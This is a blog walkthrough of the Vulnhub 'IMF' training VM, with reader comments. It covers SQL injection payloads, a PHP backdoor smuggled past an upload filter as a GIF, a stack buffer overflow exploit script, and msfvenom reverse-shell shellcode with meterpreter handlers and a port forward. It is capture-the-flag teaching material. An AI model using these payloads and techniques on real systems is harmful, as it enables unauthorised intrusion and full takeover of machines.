This time I am taking a shot at a new Vulnhub challenge called IMF. It’s short for “Impossible Mission Force”.

Here are the plot and objective from the vulnhub website.

Welcome to "IMF", my first Boot2Root virtual machine. IMF is a intelligence agency that you must hack to get all flags and ultimately root. The flags start off easy and get harder as you progress. Each flag contains a hint to the next flag. I hope you enjoy this VM and learn something.

Difficulty: Beginner/Moderate

To get started I just boot up the machine and kick off an nmap scan.

nmap -Pn -n -A -sV -p 1-65535
Starting Nmap 7.00 ( ) at 2016-10-31 09:37 EDT
Nmap scan report for
Host is up (0.00030s latency).
Not shown: 65534 filtered ports
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 08:00:27:A1:F5:E7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 3.19, Linux 3.2 - 4.0
Network Distance: 1 hop

1   0.31 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 115.74 seconds

Well it looks like there aren’t a lot of results here. It looks like this might mostly be a website hacking challenge. I run nikto to gather a little more information before checking out the site.

nikto -host
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2016-10-31 09:41:08 (GMT-4)
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80 
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7517 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2016-10-31 09:46:52 (GMT-4) (344 seconds)
+ 1 host(s) tested

Hmmmm. Not much info here either. Just a basic apache web server. I guess it’s time to visit it and see what I’m up against.

This is a fairly plain looking homepage with a couple of navigation buttons. While clicking around the different pages of the website and viewing the source code I spot the first flag.


The flag looks like base64. Sure enough it decodes to “allthefiles”. This must be a hint.

I explored the site some more. I tried running dirb and dirbuster which did turn up some folders that I can’t yet access.


Finally after focusing on the decoded hint “allthefiles” I noticed that one of the javascript file names eVlYUnZjZz09fQ==.min.js looked like base64. That decodes to yYXRvcg==} which seems suspicous. I tried decoding the other javascript file names and discovered this one ZmxhZzJ7YVcxbVl.js which decodes to flag2{aW1mY. Ah Ha! So I put the three javascript file names together and I get ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==. This decodes to flag2{aW1mYWRtaW5pc3RyYXRvcg==}. My second hint is imfadministrator. Bingo. I browse to the imfadministrator page and I’m greeted with a login form.


I tried logging in manually just guessing a username and password. Obviously the login failed but I got some interesting info back in the webpages comments.

Invalid username.

I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger

This means that I shouldn’t bother with SQL Injection. It also means that I should be able to find a valid username before I start trying at passwords.

I head back to the contact form on the website where I remember seeing some names and email addresses. Since this comment was signed by Roger. I try Roger, then rmichaels@imf.local and finally I get a hit on rmichaels. I’m told invalid password instead of invalid username.

Now I go after the rmichaels username by firing up a hydra dictionary attack.

hydra -t 64 -l rmichaels -P /usr/share/wordlists/rockyou.txt http-post-form "/imfadministrator/:user=^USER^&pass=^PASS^:F=Invalid"

I let this run in the background while I did some experimenting. I tried some sql injection tricks but the comment specifically says that Roger couldn’t get SQL working. After some googling I found that a common PHP method for comparing strings is strcmp. I found this article with a neat trick for causing strcmp to fail. I plugged in his method to send an array as the password and I was rewarded with the 3’rd flag. The flag is flag3{Y29udGludWVUT2Ntcw==} and decodes to continueTOcms.


Now that I’m logged in I follow the link to the CMS. I have a couple of pages here that I can browse.


After browsing the pages a little I fire up SQLMap and try injection on some parameters. I get a hit on the GET parameter “upload”

sqlmap -u "" --cookie="PHPSESSID=mbobh12pn2ut6a1qtudonfgu81" -p pagename --level=5 --risk=3
GET parameter 'pagename' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 221 HTTP(s) requests:
Parameter: pagename (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pagename=upload' AND 7315=7315 AND 'Pszw'='Pszw

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: pagename=upload' AND (SELECT 2374 FROM(SELECT COUNT(*),CONCAT(0x716a7a7071,(SELECT (ELT(2374=2374,1))),0x71626b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Dvha'='Dvha
[15:05:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0
[15:05:15] [INFO] fetched data logged to text files under '/root/.sqlmap/output/'

I was feeling lazy so I just used SQLMap to dump all of the information. The output is too long to post everything here. The most interesting output was the pages table in the admin database. It help information about the pages that the CMS could load.

sqlmap -u "" --cookie="PHPSESSID=mbobh12pn2ut6a1qtudonfgu81" -p pagename --level=5 --risk=3 -a
...lots of stuff...

1,upload,Under Construction.
2,home,Welcome to the IMF Administration.
3,tutorials-incomplete,"Training classrooms available. 

Contact us for training." 4,disavowlist,"

Disavowed List

  • *********
  • ****** ******
  • *******
  • **** ********


Item number 3 is the only page that I didn’t visit yet. It looks like there is a reference to an image so I download it and take a look.


Oh boy a QR code. When I get it I am rewarded with “flag4{dXBsb2Fkcjk0Mi5waHA=}” which decodes to uploadr942.php.

Naturally I head to the uploadr942.php page and I see what looks like a form to upload files to the server.


This could be a good way to upload a backdoor to the server so I create one with weevely.

weevely generate mahsecret ./door.php
Generated backdoor with password 'mahsecret' in './door.php' of 1459 byte size.

When I try to upload the file I get the error message “Error: Invalid file type.”. I guess I can’t just upload a php file. I try just putting a simple exec backdoor into a jpg but I get another error message “Error: CrappyWAF detected malware. Signature: exec function php detected”. So this uploader scans the file type and file contents. I ended up asking someone on IRC for a tip about more easily injecting code into a jpg. He told me to try gif instead because it’s easier. Thanks mrb3n813!

Using this new tip took my weevely backdoor and tried uploading it as a gif using Burp.


The upload worked and responded with a comment < !-- e3b942266237 -- >. I browsed around until I located my uploaded file at

Now I could run commands on the remote server using weevely.

weevely mahsecret ls

Awesome flag5 was “flag5{YWdlbnRzZXJ2aWNlcw==}” and decodes to agentservices.

I connected with my weevely shell and poked around for a while. Eventually I ran netstat and found some ports listening locally.

netstat -antp
(No info could be read for "-p": geteuid()=33 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0*               LISTEN      -               
tcp        0      0  *               LISTEN      -               
tcp        0      0    *               LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0         ESTABLISHED -               
tcp6       0      0         TIME_WAIT   -               
tcp6       0      0         TIME_WAIT   -               
tcp6       0      0         TIME_WAIT   -               

Port 7788 seems interesting so I checked the services to see what could be running.

cat /etc/services |grep 7788
agent		7788/tcp			# Agent service

That looks like a promising target especially since the hint was “agentservices”. I can’t connect directly to the port remotely because it’s listening on ip I need to proxy my connection somehow. Just to check what the service might be doing I sent a curl GET request to the port and looked at the response.

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   129    0   129    0     0   3846      0 --:--:-- --:--:-- --:--:--  4031
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System

Agent ID : Invalid Agent ID 

This is a target for sure. It looks like I need to find a valid Agent ID to use the program. To find out how the program works I copy it to my local machine and open it up with gdb. After taking a look at the main function I see the agent ID check happens at 0x080486ba. I set a breakpoint there, try logging in as 123, and take a look at the values on the stack. It looks like a valid agent ID is 48093572.

(gdb) info registers 
eax            0xbffff3de	-1073744930
ecx            0x0	0
edx            0xb7fb587c	-1208264580
ebx            0x0	0
esp            0xbffff3c0	0xbffff3c0
ebp            0xbffff3f8	0xbffff3f8
esi            0xb7fb4000	-1208270848
edi            0xb7fb4000	-1208270848
eip            0x80486ba	0x80486ba 
eflags         0x296	[ PF AF SF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/4xw 0xbffff3c0
0xbffff3c0:	0xbffff3de	0x0804c070	0x00000008	0xb7e1d0dc
(gdb) x/s 0xbffff3de
0xbffff3de:	"123\n"
(gdb) x/s 0x0804c070
0x804c070:	"48093572"

Now I can start the program and log in as agent 48093572. I’m presented with a menu.

 ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System

Agent ID : 48093572
Login Validated 
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 

Now that I can access the program I start fuzzing all of the possible input. It looks like I can overflow a buffer in the Submit Report function.

Starting program: /root/Documents/imf/agent 
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System

Agent ID : 48093572
Login Validated 
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3

Submitted for review.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
gdb) info registers 
eax            0xbffff324	-1073745116
ecx            0xffffffff	-1
edx            0xb7fb5870	-1208264592
ebx            0x0	0
esp            0xbffff3d0	0xbffff3d0
ebp            0x41414141	0x41414141
esi            0xb7fb4000	-1208270848
edi            0xb7fb4000	-1208270848
eip            0x41414141	0x41414141
eflags         0x10282	[ SF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Now that I found the crash I use the metasploit pattern create and pattern offset tools to identify that the crash overwrites EIP at 168 characted. This string overwrites EIP exactly

Starting program: /root/Documents/imf/agent 
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System

Agent ID : 48093572
Login Validated 
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3

Submitted for review.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Now I just need to overwrite EIP with a useful address. I used the peda addon to make the exploit development easier. I set a breakpoint at 0x0804896d which is right before the crash. I write a simple poc exploit that sends a bunch of NOP instructions as my shellcode. Then I use the peda tool jmpcall to identify useful opcodes.






This shows that address 0x08048563 there is a call eax instruction and eax looks like it points to some of my nops. I take a look at the contents of eax just to be sure.

x/200xb 0xbffff314
0xbffff314:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff31c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff324:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff32c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff334:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff33c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff344:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff34c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff354:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff35c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff364:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff36c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff374:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff37c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff384:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff38c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff394:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff39c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff3a4:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff3ac:	0x14	0xf3	0xff	0xbf	0x90	0x90	0x90	0x90
0xbffff3b4:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff3bc:	0x42	0x42	0x42	0x42	0x00	0x00	0x00	0x00
0xbffff3c4:	0x00	0x00	0x00	0x00	0x70	0xc0	0x04	0x08
0xbffff3cc:	0xbb	0x89	0x34	0x38	0x30	0x39	0x33	0x35
0xbffff3d4:	0x37	0x32	0x00	0xbf	0x03	0x00	0x00	0x00

Perfect. I can load whatever code I want into memory and execute it using call eax. Now I just generate some shellcode that does something a little more useful than a bunch of NOPs.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=8080 -f python -b "\x00\x0a\x0d"
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 98 (iteration=0)
x86/shikata_ga_nai chosen with final size 98
Payload size: 98 bytes
buf =  ""
buf += "\xdd\xc6\xd9\x74\x24\xf4\xba\x7a\xd2\xc4\xc9\x5e\x33"
buf += "\xc9\xb1\x12\x31\x56\x1a\x03\x56\x1a\x83\xee\xfc\xe2"
buf += "\x8f\xe3\x1f\x3e\x8c\x57\xe3\x92\x38\x5a\x53\x72\x35"
buf += "\xbb\x5e\xfb\xd2\x67\x09\xf6\xd9\x92\x01\x6e\xe3\x9c"
buf += "\x8e\xff\x6a\x7d\xda\x99\x34\x2e\x4a\x31\x4d\x2f\x2f"
buf += "\x70\xcd\x02\xb7\x33\xcd\x72\xb8\x43\x44\x91\x79\xa8"
buf += "\x5a\x97\x99\x23\xd2\x6a\x93\xbc\x49\x1c\xca\x24\xdb"
buf += "\x12\xbd\x54\xee\xab\x42\xbb"

I write my final exploit to send the code over the network.

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 7788))

#buffer at 0xbffff324

#msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=8080 -f python -b "\x00\x0a\x0d"
#Payload size: 98 bytes
buf =  ""
buf += "\xdd\xc6\xd9\x74\x24\xf4\xba\x7a\xd2\xc4\xc9\x5e\x33"
buf += "\xc9\xb1\x12\x31\x56\x1a\x03\x56\x1a\x83\xee\xfc\xe2"
buf += "\x8f\xe3\x1f\x3e\x8c\x57\xe3\x92\x38\x5a\x53\x72\x35"
buf += "\xbb\x5e\xfb\xd2\x67\x09\xf6\xd9\x92\x01\x6e\xe3\x9c"
buf += "\x8e\xff\x6a\x7d\xda\x99\x34\x2e\x4a\x31\x4d\x2f\x2f"
buf += "\x70\xcd\x02\xb7\x33\xcd\x72\xb8\x43\x44\x91\x79\xa8"
buf += "\x5a\x97\x99\x23\xd2\x6a\x93\xbc\x49\x1c\xca\x24\xdb"
buf += "\x12\xbd\x54\xee\xab\x42\xbb"

#complete buffer to 168 bytes with nops
buf += "\x90"*70

#Call EAX @ 0x08048563


Now I need a way to access the port on the remote machine to run the exploit. I create a reverse meterpreter binary.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -f elf > revmet

Then I use weevely to upload the meterpreter.

file_upload /root/Documents/imf/revmet revmet

I setup my metasploit handler to listen for the reverse connection.

set payload linux/x86/meterpreter/reverse_tcp
set LPORT 443

Now back in weevely I make the binary executable and fire it up.

chmod +x revmet

With my new meterpreter session I start up a port forwarder to connect to the remote service

portfwd add -l 7788 -p 7788 -r

This allows me to connect to port 7788 on my local machine and it will forward to port 7788 on the remote machine by tunneling through my meterpreter session. This effectively bypasses the firewall on the remote machine.

Next I setup a second metasploit handler to catch my reverse meterpreter from my exploit.

set payload linux/x86/meterpreter/reverse_tcp
set LPORT 8080

Now for the moment of truth I launch my exploit and wait for a connection.


Excellent. I have a new meterpreter session on the remote machine and since it was spawned by the agent service it should have root privileges.


Success! I have full control over the remote machine. Nothing left to do but grab the last flag.


This was a solid machine that covered a lot of vulnerability types and it was a lot of fun. Thanks a ton to Geckom and everyone else involved in putting it together! BTW the last flag decodes to Gh0stProt0c0ls.

6 thoughts on “IMF 1”

  1. Total newbie question incoming!

    How did you copy the ‘agent’ bin file to the local systen using Weevely.
    I have looked around and couldn’t piece together a command.

    Thanks so much for posing this walkthrough. I learned so much from reading it. The format was extremely easy to follow.

    1. Thanks for taking the time to leave a comment! I do this blog mostly so I can look back and remember what I did on old challenges. It’s exciting to know that other people get some value out of it as well.

      To answer your question Weevely has a bunch of great built in modules. You can see a list here

      I used the file download module to transfer a file from the server to my local system.

      They also have a lot of other great use cases examples on their github wiki here

  2. Hi HackerNovice,

    I am myself getting started with hacking and was wondering whether you would mind answering a few of my questions? Since they seem to be somewhat off-topic (in regards to this post), I was wondering whether I could just contact you via e-mail?

    All the best,


  3. Very good job for the tutorial!
    Just one question:

    In the last flag exactly ->”Now I can start the program and log in as agent 48093572. I’m presented with a menu.” how do you log? because I have not the possibility to enter the ID.

    1. I had copied the agent binary to my system and ran it to log in initially. Alternatively you should be able to connect to the agent service via netcat or similar tool and login.

Leave a Reply

Your email address will not be published. Required fields are marked *